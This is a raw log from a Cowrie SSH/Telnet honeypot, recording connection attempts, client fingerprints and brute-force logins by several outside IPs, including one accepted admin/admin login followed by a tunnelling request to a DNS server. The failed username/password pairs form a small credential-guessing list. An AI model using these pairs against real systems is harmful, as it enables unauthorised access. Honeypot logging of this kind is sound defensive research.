{"eventid":"cowrie.login.failed","username":"sanjana","password":"sanjana123","message":"login attempt [sanjana/sanjana123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:35:06.682501Z","src_ip":"213.209.159.56","session":"04437ab80f94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sanjana","password":"sanjana1234","message":"login attempt [sanjana/sanjana1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:35:07.767442Z","src_ip":"213.209.159.56","session":"04437ab80f94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":40224,"dst_ip":"10.17.0.5","dst_port":22,"session":"164b66a5b067","protocol":"ssh","message":"New connection: 80.94.92.186:40224 (10.17.0.5:22) [session: 164b66a5b067]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:35:08.249454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:35:08.396348Z","src_ip":"80.94.92.186","session":"164b66a5b067","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:35:08.400259Z","src_ip":"80.94.92.186","session":"164b66a5b067","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sanjana","password":"sanjana12345","message":"login attempt [sanjana/sanjana12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:35:08.851504Z","src_ip":"213.209.159.56","session":"04437ab80f94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minima","password":"minima","message":"login attempt [minima/minima] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:35:09.844957Z","src_ip":"80.94.92.186","session":"164b66a5b067","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:35:09.936820Z","src_ip":"213.209.159.56","session":"04437ab80f94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:35:11.136264Z","src_ip":"80.94.92.186","session":"164b66a5b067","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":44440,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0dd3be2e360","protocol":"ssh","message":"New connection: 103.91.246.101:44440 (159.203.135.109:22) [session: a0dd3be2e360]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:35:49.973386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:35:49.980881Z","src_ip":"103.91.246.101","session":"a0dd3be2e360","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:35:50.208280Z","src_ip":"103.91.246.101","session":"a0dd3be2e360","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"QWE@123","message":"login attempt [admin/QWE@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:35:51.121915Z","src_ip":"103.91.246.101","session":"a0dd3be2e360","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.12","src_port":56740,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0fdad43b835","protocol":"ssh","message":"New connection: 107.150.103.12:56740 (159.203.135.109:22) [session: e0fdad43b835]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:35:52.110139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:35:52.116665Z","src_ip":"107.150.103.12","session":"e0fdad43b835","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:35:52.186516Z","src_ip":"107.150.103.12","session":"e0fdad43b835","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:35:52.355128Z","src_ip":"103.91.246.101","session":"a0dd3be2e360","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"Postgres123","message":"login attempt [postgres/Postgres123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:35:52.500643Z","src_ip":"107.150.103.12","session":"e0fdad43b835","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:35:53.573100Z","src_ip":"107.150.103.12","session":"e0fdad43b835","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.12","src_port":56788,"dst_ip":"159.203.135.109","dst_port":22,"session":"08dc435eab48","protocol":"ssh","message":"New connection: 107.150.103.12:56788 (159.203.135.109:22) [session: 08dc435eab48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:36:42.511467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:36:42.515876Z","src_ip":"107.150.103.12","session":"08dc435eab48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:36:42.586385Z","src_ip":"107.150.103.12","session":"08dc435eab48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user01","password":"Huawei12#$","message":"login attempt [user01/Huawei12#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:36:42.900376Z","src_ip":"107.150.103.12","session":"08dc435eab48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:36:43.973892Z","src_ip":"107.150.103.12","session":"08dc435eab48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.12","src_port":38814,"dst_ip":"159.203.135.109","dst_port":22,"session":"d230498bc110","protocol":"ssh","message":"New connection: 107.150.103.12:38814 (159.203.135.109:22) [session: d230498bc110]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:37:31.262583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:37:31.271554Z","src_ip":"107.150.103.12","session":"d230498bc110","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:37:31.343492Z","src_ip":"107.150.103.12","session":"d230498bc110","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"diradmin","password":"123456","message":"login attempt [diradmin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:37:31.663121Z","src_ip":"107.150.103.12","session":"d230498bc110","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:37:32.739296Z","src_ip":"107.150.103.12","session":"d230498bc110","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":41866,"dst_ip":"10.17.0.5","dst_port":22,"session":"deaa3a1a7bdb","protocol":"ssh","message":"New connection: 87.251.64.176:41866 (10.17.0.5:22) [session: deaa3a1a7bdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:37:56.097644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:37:56.102506Z","src_ip":"87.251.64.176","session":"deaa3a1a7bdb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:37:56.199226Z","src_ip":"87.251.64.176","session":"deaa3a1a7bdb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:37:56.489510Z","src_ip":"87.251.64.176","session":"deaa3a1a7bdb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:37:56.597579Z","session":"deaa3a1a7bdb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:37:56.697173Z","src_ip":"87.251.64.176","session":"deaa3a1a7bdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:37:56.796370Z","src_ip":"87.251.64.176","session":"deaa3a1a7bdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.37.165","src_port":33128,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c561cade76d","protocol":"telnet","message":"New connection: 72.167.37.165:33128 (159.203.135.109:23) [session: 0c561cade76d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:38:00.159694Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.207.181","src_port":33965,"dst_ip":"159.203.135.109","dst_port":22,"session":"f88b4d49747f","protocol":"ssh","message":"New connection: 45.79.207.181:33965 (159.203.135.109:22) [session: f88b4d49747f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:38:17.177534Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.12","src_port":42928,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f08023bf4e0","protocol":"ssh","message":"New connection: 107.150.103.12:42928 (159.203.135.109:22) [session: 0f08023bf4e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:38:21.449263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:38:21.454487Z","src_ip":"107.150.103.12","session":"0f08023bf4e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:38:21.527404Z","src_ip":"107.150.103.12","session":"0f08023bf4e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin2019","message":"login attempt [root/admin2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:38:21.847462Z","src_ip":"107.150.103.12","session":"0f08023bf4e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:38:22.923310Z","src_ip":"107.150.103.12","session":"0f08023bf4e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.8","message":"Connection lost after 6.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:38:23.969803Z","src_ip":"45.79.207.181","session":"f88b4d49747f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":42896,"dst_ip":"10.17.0.5","dst_port":22,"session":"57d5092a0f1a","protocol":"ssh","message":"New connection: 80.94.92.186:42896 (10.17.0.5:22) [session: 57d5092a0f1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:38:25.520876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:38:25.613976Z","src_ip":"80.94.92.186","session":"57d5092a0f1a","protocol":"ssh"}
